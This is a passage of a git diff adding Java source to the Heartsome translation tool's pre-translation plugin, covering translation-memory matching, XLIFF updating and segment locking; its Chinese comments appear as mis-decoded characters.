+ + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片被伸缩å˜æ¢ä¸º16*16åƒç´ çš„æè¿°ä¿¡æ¯ã€‚ + * @param path + * the path + * @return the icon descriptor + */ + public static ImageDescriptor getIconDescriptor(String path) { + ImageDescriptor image = getImageDescriptor(path); + ImageData data = image.getImageData(); + data = data.scaledTo(16, 16); + image = ImageDescriptor.createFromImageData(data); + return image; + } +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/PreTransUitls.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/PreTransUitls.java new file mode 100644 index 0000000..8204488 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/PreTransUitls.java @@ -0,0 +1,179 @@ +/** + * PreTransUitls.java + * + * Version information : + * + * Date:2012-6-25 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.pretranslation; + +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.core.bean.XliffBean; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.pretranslation.bean.PreTranslationCounter; +import net.heartsome.cat.ts.pretranslation.dialog.PreTranslationDialog; +import net.heartsome.cat.ts.pretranslation.dialog.PreTranslationResultDialog; +import net.heartsome.cat.ts.pretranslation.resource.Messages; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.VTDGen; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class PreTransUitls { + public static final Logger logger = LoggerFactory.getLogger(PreTransUitls.class); + + public static void executeTranslation(List list, final Shell shell) { + HsMultiActiveCellEditor.commit(true); + try { + if (list.size() == 0) { + MessageDialog.openInformation(shell, Messages.getString("pretranslation.PreTransUitls.msgTitle"), + Messages.getString("pretranslation.PreTransUitls.msg1")); + return; + } + + List lstFiles = new ArrayList(); + XLFValidator.resetFlag(); + for (IFile iFile : list) { + if (!XLFValidator.validateXliffFile(iFile)) { + lstFiles.add(iFile); + } + } + XLFValidator.resetFlag(); + list = new ArrayList(list); + list.removeAll(lstFiles); + if (list.size() == 0) { + return; + } + + final IProject project = list.get(0).getProject(); + final List filesWithOsPath = ResourceUtils.IFilesToOsPath(list); + + final XLFHandler xlfHandler = new XLFHandler(); + Map resultMap = xlfHandler.openFiles(filesWithOsPath); + + if (resultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) resultMap.get(Constant.RETURNVALUE_RESULT)) { + // 打开文件失败。 + MessageDialog.openInformation(shell, Messages.getString("pretranslation.PreTransUitls.msgTitle"), + Messages.getString("pretranslation.PreTransUitls.msg2")); + return; + } + Map> map = xlfHandler.getXliffInfo(); + + PreTranslationDialog dialog = new PreTranslationDialog(shell, map); + if (dialog.open() == Window.OK) { + if (project == null) { + MessageDialog.openInformation(shell, Messages.getString("pretranslation.PreTransUitls.msgTitle"), + Messages.getString("pretranslation.PreTransUitls.msg3")); + return; + } + if (filesWithOsPath == null || filesWithOsPath.size() == 0) { + MessageDialog.openInformation(shell, Messages.getString("pretranslation.PreTransUitls.msgTitle"), + Messages.getString("pretranslation.PreTransUitls.msg4")); + return; + } + + final List lstFile = list; + IRunnableWithProgress runnable = new IRunnableWithProgress() { + + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + PreTranslation pt = new PreTranslation(xlfHandler, filesWithOsPath, project); + try { + final List result = pt.executeTranslation(monitor); + Display.getDefault().syncExec(new Runnable() { + public void run() { + PreTranslationResultDialog dialog = new PreTranslationResultDialog(shell, result); + dialog.open(); + } + }); + project.refreshLocal(IResource.DEPTH_INFINITE, null); + result.clear(); + } catch (InterruptedException e) { + e.printStackTrace(); + } catch (CoreException e) { + logger.error("", e); + e.printStackTrace(); + } finally { + pt.clearResources(); + } + Display.getDefault().syncExec(new Runnable() { + + public void run() { + + IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow() + .getActivePage(); + for (IFile file : lstFile) { + FileEditorInput editorInput = new FileEditorInput(file); + IEditorPart editorPart = page.findEditor(editorInput); + // 选择所有语言 + XLFHandler handler = null; + if (editorPart != null && editorPart instanceof IXliffEditor) { + // xliff 文件已用 XLIFF 编辑器打开 + IXliffEditor xliffEditor = (IXliffEditor) editorPart; + handler = xliffEditor.getXLFHandler(); + handler.resetCache(); + VTDGen vg = new VTDGen(); + String path = ResourceUtils.iFileToOSPath(file); + if (vg.parseFile(path, true)) { + handler.getVnMap().put(path, vg.getNav()); + xliffEditor.refresh(); + } + } + } + } + + }); + } + }; + + try { + new ProgressMonitorDialog(PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell()).run( + true, true, runnable); + } catch (InvocationTargetException e) { + logger.error(Messages.getString("pretranslation.PreTransUitls.logger1"), e); + } catch (InterruptedException e) { + logger.error(Messages.getString("pretranslation.PreTransUitls.logger1"), e); + } + } + } finally { + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.getCurrent()); + } + } +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/PreTranslation.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/PreTranslation.java new file mode 100644 index 0000000..c6cd4f1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/PreTranslation.java @@ -0,0 +1,644 @@ +/** + * PreTranslation.java + * + * Version information : + * + * Date:Dec 13, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.pretranslation; + +import java.io.BufferedOutputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.Hashtable; +import java.util.List; +import java.util.Vector; + +import net.heartsome.cat.common.bean.FuzzySearchResult; +import net.heartsome.cat.ts.core.bean.AltTransBean; +import net.heartsome.cat.ts.core.bean.Constants; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.pretranslation.bean.PreTransParameters; +import net.heartsome.cat.ts.pretranslation.bean.PreTranslationCounter; +import net.heartsome.cat.ts.pretranslation.resource.Messages; +import net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean; +import net.heartsome.cat.ts.tm.match.TmMatcher; +import net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher; +import net.heartsome.cat.ts.tm.simpleMatch.SimpleMatcherFactory; +import net.heartsome.cat.ts.ui.util.TmUtils; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 预翻译业务逻辑实现 + * @author Jason + * @version + * @since JDK1.6 + */ +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class PreTranslation { + public static final Logger logger = LoggerFactory.getLogger(PreTranslation.class); + private PreTransParameters parameters; + private int updateStrategy; + private IProject currentProject; + private TmMatcher tmMatcher; + + private int contextSize = 1; // 上下文个数 + + private XLFHandler xlfHandler; // 项目中的XLIFFæ–‡ä»¶è§£æž + private List xlfFiles; // 项目中的XLIFF文件路径,ç»å¯¹è·¯å¾„ + + private List transCounters; + private PreTranslationCounter currentCounter; + + public PreTranslation(XLFHandler xlfHandler, List xlfFiles, IProject currIProject) { + + this.xlfHandler = xlfHandler; + this.xlfFiles = xlfFiles; + + this.parameters = PreTransParameters.getInstance(); + tmMatcher = new TmMatcher(); + this.updateStrategy = parameters.getUpdateStrategy(); + this.currentProject = currIProject; + + this.contextSize = tmMatcher.getContextSize(); + + transCounters = new ArrayList(); + } + + /** + * æ ¹æ®æž„建å‚数执行预翻译 ; + * @throws InterruptedException + */ + public List executeTranslation(IProgressMonitor monitor) throws InterruptedException { + + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + + monitor.beginTask("", this.xlfFiles.size()); + monitor.setTaskName(Messages.getString("pretranslation.PreTranslation.task1")); + try { + for (String xlfPath : xlfFiles) { + if (monitor != null && monitor.isCanceled()) { + throw new InterruptedException(); + } + + currentCounter = new PreTranslationCounter(xlfPath); + this.transCounters.add(currentCounter); + + VTDNav vn = xlfHandler.getVnMap().get(xlfPath); + VTDUtils vu = new VTDUtils(vn); + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + int tuNumber = xlfHandler.getNodeCount(xlfPath, + "/xliff/file//descendant::trans-unit[(source/text()!='' or source/*)]"); + + currentCounter.setTuNumber(tuNumber); + + ap.selectXPath("/xliff/file"); + String srcLang = ""; + String tgtLang = ""; + XMLModifier xm = new XMLModifier(vn); + IProgressMonitor monitor2 = new SubProgressMonitor(monitor, 1); + monitor2.beginTask(Messages.getString("pretranslation.PreTranslation.task2"), tuNumber); + while (ap.evalXPath() != -1) { // 循环 file 节点 + String _srcLang = vu.getCurrentElementAttribut("source-language", ""); + String _tgtLang = vu.getCurrentElementAttribut("target-language", ""); + + if (!_srcLang.equals("")) { + srcLang = _srcLang; + } + if (!_tgtLang.equals("")) { + tgtLang = _tgtLang; + } + + if (srcLang.equals("") || tgtLang.equals("")) { + continue; + } + + if (updateStrategy == 0) { + keepCurrentMatchs(vu, _srcLang, _tgtLang, xm, monitor2); + } else if (updateStrategy == 1) { + keepHigherMatchs(vu, _srcLang, _tgtLang, xm, monitor2); + } else if (updateStrategy == 2) { + overwriteMatchs(vu, srcLang, tgtLang, xm, monitor2); + } + } + monitor2.done(); + FileOutputStream fos = new FileOutputStream(xlfPath); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + } + } catch (XPathParseException e) { + logger.error("", e); + e.printStackTrace(); + } catch (NavException e) { + logger.error("", e); + e.printStackTrace(); + } catch (ModifyException e) { + logger.error("", e); + e.printStackTrace(); + } catch (XPathEvalException e) { + logger.error("", e); + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + logger.error("", e); + e.printStackTrace(); + } catch (FileNotFoundException e) { + logger.error("", e); + e.printStackTrace(); + } catch (TranscodeException e) { + logger.error("", e); + e.printStackTrace(); + } catch (IOException e) { + logger.error("", e); + e.printStackTrace(); + } + monitor.done(); + return this.transCounters; + } + + public void clearResources() { + // 完æˆç¿»è¯‘åŽæ¸…é™¤ä½¿ç”¨çš„èµ„æº + tmMatcher.clearResources(); + this.transCounters.clear(); + this.transCounters = null; + } + + /** + * ä¿ç•™æœ€å¤§ä¸Šé™åŒ¹é…æ•°é‡ + * @param tmpVector + * ; + */ + private void checkMaxMatchSize(Vector> tmpVector) { + int size = tmpVector.size(); + while (size > tmMatcher.getMaxMatchSize()) { + size--; + tmpVector.remove(size); + } + } + + private void keepCurrentMatchs(VTDUtils vu, String srcLang, String tgtLang, XMLModifier xm, IProgressMonitor monitor) + throws NavException, XPathParseException, XPathEvalException, ModifyException, + UnsupportedEncodingException, InterruptedException { + AutoPilot tuAp = new AutoPilot(vu.getVTDNav()); + tuAp.selectXPath("./body//trans-unit"); + boolean needUpdateTgt = true; + while (tuAp.evalXPath() != -1) { // 循环 Trans-unit + if (monitor != null && monitor.isCanceled()) { + throw new InterruptedException(); + } + + // skip locked segment + String locked = vu.getCurrentElementAttribut("translate", "yes"); + if (locked.equals("no")) { + continue; + } + + String tgtContent = vu.getElementContent("./target"); + if (tgtContent != null && !tgtContent.trim().equals("")) { + needUpdateTgt = false; + } + TransUnitInfo2TranslationBean tuInfo = getTransUnitInfo(vu); + if (tuInfo == null) { + continue; + } + tuInfo.setSrcLanguage(srcLang); + tuInfo.setTgtLangugage(tgtLang); + getTuContext(vu, contextSize, tuInfo); + List result = tmMatcher.executeFuzzySearch(currentProject, tuInfo); + updateXliffFile(vu, tuInfo, result, xm, needUpdateTgt); + needUpdateTgt = true; + monitor.worked(1); + } + } + + private void updateXliffFile(VTDUtils vu, TransUnitInfo2TranslationBean tuInfo, + List fuzzyResult, XMLModifier xm, boolean updateTarget) throws XPathParseException, + XPathEvalException, NavException, ModifyException, UnsupportedEncodingException { + String altTransContent = ""; + String targetContent = ""; + vu.delete(new AutoPilot(vu.getVTDNav()), xm, "./alt-trans[@tool-id='" + Constants.TM_TOOLID + "']", + VTDUtils.PILOT_TO_END); + if (!fuzzyResult.isEmpty()) { + altTransContent = generateAltTransUnitNodeXML(fuzzyResult); + } + + if (updateTarget && !fuzzyResult.isEmpty()) { + vu.delete(new AutoPilot(vu.getVTDNav()), xm, "./target", VTDUtils.PILOT_TO_END); + targetContent = generateTargetNodeXML(fuzzyResult.get(0)); + currentCounter.countTransTu(); + } + + targetContent += altTransContent; + + String simpleMatchContent = executeSimpleMatch(vu, tuInfo, xm/* , updateTargetTemp */); + targetContent += simpleMatchContent; + + if (targetContent.length() > 0) { + xm.insertBeforeTail(targetContent); + } + + if (fuzzyResult.size() > 0) { + String similarity = fuzzyResult.get(0).getSimilarity() + ""; // å–最大匹é…率的 + if (parameters.isLockContextMatch() && similarity.equals("101")) { + lockTransUnit(vu.getVTDNav(), xm); + currentCounter.countLockedContextmatch(); + } else if (parameters.isLockFullMatch() && similarity.equals("100")) { + lockTransUnit(vu.getVTDNav(), xm); + currentCounter.countLockedFullMatch(); + } + } + } + + // private String defaultSimplematcher; + + private String executeSimpleMatch(VTDUtils vu, TransUnitInfo2TranslationBean tuInfo, XMLModifier xm/* + * , boolean + * updateTarget + */) + throws XPathParseException, XPathEvalException, NavException { + List simpleMatchers = SimpleMatcherFactory.getInstance().getCuurentMatcher(); + StringBuffer bf = new StringBuffer(); + /* + * final List toolIds = new ArrayList(); if (defaultSimplematcher == null) { for (ISimpleMatcher + * matcher : simpleMatchers) { if (matcher.isSuportPreTrans() && matcher.matchChecker()) { + * toolIds.add(matcher.getMathcerToolId()); } } if (toolIds.size() > 1) { Display.getDefault().syncExec(new + * Runnable() { + * + * @Override public void run() { Shell shell = Display.getCurrent().getActiveShell(); PromptDialog dlg = new + * PromptDialog(shell, toolIds); if (dlg.open() == Window.OK) { defaultSimplematcher = dlg.getChoiceResult(); } + * } }); } else if (toolIds.size() == 1) { defaultSimplematcher = toolIds.get(0); } else { defaultSimplematcher + * = null; } } + */ + + for (ISimpleMatcher matcher : simpleMatchers) { + if (!matcher.isSuportPreTrans()) { + continue; + } + String toolId = matcher.getMathcerToolId(); + boolean isOverwrite = matcher.isOverwriteMatch(); + + boolean needClear = false; + vu.getVTDNav().push(); + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath("./alt-trans[@tool-id='" + toolId + "']"); + if (ap.evalXPath() != -1) { + if (!isOverwrite) { + vu.getVTDNav().pop(); + continue; + } else { + needClear = true; + } + } + vu.getVTDNav().pop(); + + if (needClear) { + vu.delete(new AutoPilot(vu.getVTDNav()), xm, "./alt-trans[@tool-id='" + toolId + "']", + VTDUtils.PILOT_TO_END); + } + + String tgtText = matcher.executeMatch(tuInfo); + if (tgtText.equals("")) { + continue; + } + + /* + * if (updateTarget && defaultSimplematcher.equals(toolId)) { vu.delete(new AutoPilot(vu.getVTDNav()), xm, + * "./target", VTDUtils.PILOT_TO_END); bf.append(""); + * bf.append(tgtText); bf.append(""); + * + * currentCounter.countTransTu(); } + */ + + AltTransBean bean = new AltTransBean(tuInfo.getSrcPureText(), tgtText, tuInfo.getSrcLanguage(), + tuInfo.getTgtLangugage(), matcher.getMathcerOrigin(), matcher.getMathcerToolId()); + bean.getMatchProps().put("match-quality", "100"); + bean.setSrcContent(tuInfo.getSrcPureText()); + bean.setTgtContent(tgtText); + bean.getMatchProps().put("hs:matchType", matcher.getMatcherType()); + bf.append(bean.toXMLString()); + + } + return bf.toString(); + } + + private void lockTransUnit(VTDNav vn, XMLModifier xm) throws NavException, ModifyException, + UnsupportedEncodingException, XPathParseException, XPathEvalException { + vn.push(); + int attrIdx = vn.getAttrVal("translate"); + if (attrIdx != -1) { // 存在translate属性 + String translate = vn.toString(attrIdx); + if (!translate.equals("no")) { // translate属性值ä¸ä¸ºæŒ‡å®šçš„translateValue + xm.updateToken(attrIdx, "no"); + } + } else { + xm.insertAttribute(" translate=\"no\" "); + } + vn.pop(); + } + + private boolean checkTuCurrentMatch(VTDUtils vu, Vector> tmMatch) + throws XPathParseException, XPathEvalException, NavException { + if (tmMatch.size() == 0) { + return false; + } + Vector> currentMatch = new Vector>(); + vu.getVTDNav().push(); + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath("./alt-trans[@tool-id='" + Constants.TM_TOOLID + "']"); + int existMatchCount = 0; + while (ap.evalXPath() != -1) { + Hashtable altTrans = new Hashtable(); + String quality = vu.getCurrentElementAttribut("match-quality", "0"); + String srcText = vu.getElementContent("./source"); + String tgtText = vu.getElementContent("./target"); + if (srcText != null && tgtText != null) { + altTrans.put("srcText", srcText); + altTrans.put("tgtText", tgtText); + } else { + continue; + } + + if (!isDuplicated(tmMatch, altTrans)) { + String content = vu.getElementFragment(); + altTrans.put("content", content); + if (quality.endsWith("%")) { + quality = quality.substring(0, quality.length() - 1); + } + altTrans.put("similarity", quality); + altTrans.put("flag", "exist"); + currentMatch.add(altTrans); + } else { + existMatchCount++; + } + } + vu.getVTDNav().pop(); + if (existMatchCount == tmMatch.size()) { // 库中查询的内容和文件中的内容是一样的 + return false; + } else { + tmMatch.addAll(currentMatch); + Collections.sort(tmMatch, new FindMatchComparator()); + checkMaxMatchSize(tmMatch); + return true; + } + } + + private TransUnitInfo2TranslationBean getTransUnitInfo(VTDUtils vu) throws XPathParseException, XPathEvalException, + NavException { + TransUnitInfo2TranslationBean tuInfo = new TransUnitInfo2TranslationBean(); + + vu.getVTDNav().push(); + AutoPilot sourceAp = new AutoPilot(vu.getVTDNav()); + sourceAp.selectXPath("./source"); + String fullText = ""; + String pureText = ""; + if (sourceAp.evalXPath() != -1) { + fullText = vu.getElementContent(); + pureText = xlfHandler.getTUPureText(vu.getVTDNav()); + } + vu.getVTDNav().pop(); + + if (fullText == null || fullText.equals("") || pureText.equals("")) { + return null; + } + tuInfo.setSrcFullText(fullText); + tuInfo.setSrcPureText(pureText); + return tuInfo; + } + + private void getTuContext(VTDUtils vu, int contextSize, TransUnitInfo2TranslationBean tuInfo) { + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + String preContext = xlfHandler.getContext(vu, ap, contextSize, true); + String nextContext = xlfHandler.getContext(vu, ap, contextSize, false); + tuInfo.setPreContext(preContext); + tuInfo.setNextContext(nextContext); + } + + private void keepHigherMatchs(VTDUtils vu, String srcLang, String tgtLang, XMLModifier xm, IProgressMonitor monitor) + throws NavException, XPathParseException, XPathEvalException, ModifyException, + UnsupportedEncodingException, InterruptedException { + AutoPilot tuAp = new AutoPilot(vu.getVTDNav()); + tuAp.selectXPath("./body//trans-unit"); + boolean needUpdateTarget = false; + while (tuAp.evalXPath() != -1) { // 循环 Trans-unit + if (monitor != null && monitor.isCanceled()) { + throw new InterruptedException(); + } + + String locked = vu.getCurrentElementAttribut("translate", "yes"); + if (locked.equals("no")) { + continue; + } + + //  ===从库中查询匹é…=== + TransUnitInfo2TranslationBean tuInfo = getTransUnitInfo(vu); + if (tuInfo == null) { + continue; + } + tuInfo.setSrcLanguage(srcLang); + tuInfo.setTgtLangugage(tgtLang); + getTuContext(vu, contextSize, tuInfo); + + List result = tmMatcher.executeFuzzySearch(currentProject, tuInfo); + // Vector> tmMatches = tmMatcher.executeSearch(currentProject, tuInfo); + //  ====查询结æŸ=== + + if (!result.isEmpty()) { + int matchMaxSimiInt = result.get(0).getSimilarity(); + // ===获å–当å‰ç›®æ ‡çš„匹é…率=== + int currMaxSimInt = 0; + vu.getVTDNav().push(); + AutoPilot targetAp = new AutoPilot(vu.getVTDNav()); + targetAp.selectXPath("./target"); + if (targetAp.evalXPath() != -1) { + String targetContent = vu.getElementContent(); + if (targetContent != null && !targetContent.equals("")) { + Hashtable attrs = vu.getCurrentElementAttributs(); + if (attrs != null) { + String type = attrs.get("hs:matchType"); + String quality = attrs.get("hs:quality"); + if (type != null && type.equals("TM") && quality != null && !quality.equals("")) { + currMaxSimInt = Integer.parseInt(quality); + } + } + } else { // target内容为空 + needUpdateTarget = true; + } + } else { // æ— target内容 + needUpdateTarget = true; + } + vu.getVTDNav().pop(); + if (currMaxSimInt != 0 && matchMaxSimiInt > currMaxSimInt) { + needUpdateTarget = true; + } + } + //  ===获å–当å‰æœ€å¤§åŒ¹é…结æŸ=== + updateXliffFile(vu, tuInfo, result, xm, needUpdateTarget); + needUpdateTarget = false; + monitor.worked(1); + } + + } + + private void overwriteMatchs(VTDUtils vu, String srcLang, String tgtLang, XMLModifier xm, IProgressMonitor monitor) + throws NavException, XPathParseException, XPathEvalException, ModifyException, + UnsupportedEncodingException, InterruptedException { + AutoPilot tuAp = new AutoPilot(vu.getVTDNav()); + tuAp.selectXPath("./body//trans-unit"); + while (tuAp.evalXPath() != -1) { // 循环 Trans-unit + if (monitor != null && monitor.isCanceled()) { + throw new InterruptedException(); + } + + String locked = vu.getCurrentElementAttribut("translate", "yes"); + if (locked.equals("no")) { + continue; + } + + TransUnitInfo2TranslationBean tuInfo = getTransUnitInfo(vu); + if (tuInfo == null) { + continue; + } + // System.out.println(tuInfo.getSrcFullText()); + tuInfo.setSrcLanguage(srcLang); + tuInfo.setTgtLangugage(tgtLang); + getTuContext(vu, contextSize, tuInfo); + // Vector> result = tmMatcher.executeSearch(currentProject, tuInfo); + List result = tmMatcher.executeFuzzySearch(currentProject, tuInfo); + + updateXliffFile(vu, tuInfo, result, xm, true); + monitor.worked(1); + } + + } + + private boolean isDuplicated(Vector> vector, Hashtable tu) { + int size = vector.size(); + String src = tu.get("srcText"); //$NON-NLS-1$ + String tgt = tu.get("tgtText"); //$NON-NLS-1$ + for (int i = 0; i < size; i++) { + Hashtable table = vector.get(i); + if (src.trim().equals(table.get("srcText").trim()) //$NON-NLS-1$ + && tgt.trim().equals(table.get("tgtText").trim())) { //$NON-NLS-1$ + return true; + } + } + return false; + } + + /** + * 生æˆtarget节点 + * @param target + * @return ; + */ + private String generateTargetNodeXML(FuzzySearchResult fuzzyResult) { + String lang = fuzzyResult.getTu().getTarget().getLangCode(); + String quality = fuzzyResult.getSimilarity() + ""; + StringBuffer bf = new StringBuffer(); + bf.append(""); + if (tmMatcher.isIgnoreTag()) { + String content = fuzzyResult.getTu().getTarget().getPureText(); + bf.append(content); + } else { + String content = fuzzyResult.getTu().getTarget().getFullText(); + bf.append(content); + } + bf.append(""); + return bf.toString(); + } + + /** + * æ ¹æ®åŒ¹é…结果生æˆalt-trans节点 + * @param altMatchs + *  所有匹é…ä¿¡æ¯ + * @return 生æˆalt-trans节点; + */ + private String generateAltTransUnitNodeXML(List fuzzyResults) { + List altTransBeans = TmUtils.fuzzyResult2Alttransbean(fuzzyResults); + + StringBuffer bf = new StringBuffer(); + for (AltTransBean bean : altTransBeans) { + bf.append(bean.toXMLString()); + } + return bf.toString(); + } + + /** + * 字符串状æ€çš„匹é…率排åºå™¨ + * @author Jason + * @version + * @since JDK1.6 + */ + private final class SimilarityComparator implements Comparator { + public SimilarityComparator() { + } + + public int compare(String o1, String o2) { + try { + Integer a = Integer.parseInt(o1.endsWith("%") ? o1.substring(0, o1.length() - 1) : o1); + Integer b = Integer.parseInt(o2.endsWith("%") ? o2.substring(0, o2.length() - 1) : o2); + if (a < b) { + return 1; + } else { + return -1; + } + } catch (Exception e) { + return 0; + } + } + } + + /** + * 查找匹é…结果排åºå™¨ + * @author Jason + * @version + * @since JDK1.6 + */ + private final class FindMatchComparator implements Comparator> { + public FindMatchComparator() { + } + + public int compare(Hashtable a, Hashtable b) { + Integer a1 = Integer.parseInt(a.get("similarity")); + Integer b1 = Integer.parseInt(b.get("similarity")); + if (a1 < b1) { + return 1; + } else { + return -1; + } + } + } +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/IPreTransConstants.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/IPreTransConstants.java new file mode 100644 index 0000000..7ccd7b9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/IPreTransConstants.java @@ -0,0 +1,34 @@ +/** + * IPreferenceConstants.java + * + * Version information : + * + * Date:2012-5-8 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.pretranslation.bean; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public interface IPreTransConstants { + + // 首选项 + String LOCK_FULL_MATCH = "PRETRANS_LOCK_FULL_MATCH"; + String LOCK_CONTEXT_MATCH = "PRETRANS_LOCK_CONTEXT_MATCH"; + String UPDATE_STRATEGY = "PRETRANS_UPDATE_STRATEGY"; + + // 预翻译策略 + /** ä¿ç•™çŽ°åœ¨åŒ¹é… */ + int UPDATE_KEEP_NOW = 0; + /** 当å‰åŒ¹é…比已ç»å­˜åœ¨åŒ¹é…高时,覆盖 */ + int UPDATE_OVERWRITE_BY_QUALITY = 1; + /** 始终覆盖*/ + int UPDATE_ALWAYS_OVERWRITE = 2; +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/ImageConstants.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/ImageConstants.java new file mode 100644 index 0000000..e63cd66 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/bean/ImageConstants.java @@ -0,0 +1,22 @@ +/** + * ImageConstants.java + * + * Version information : + * + * 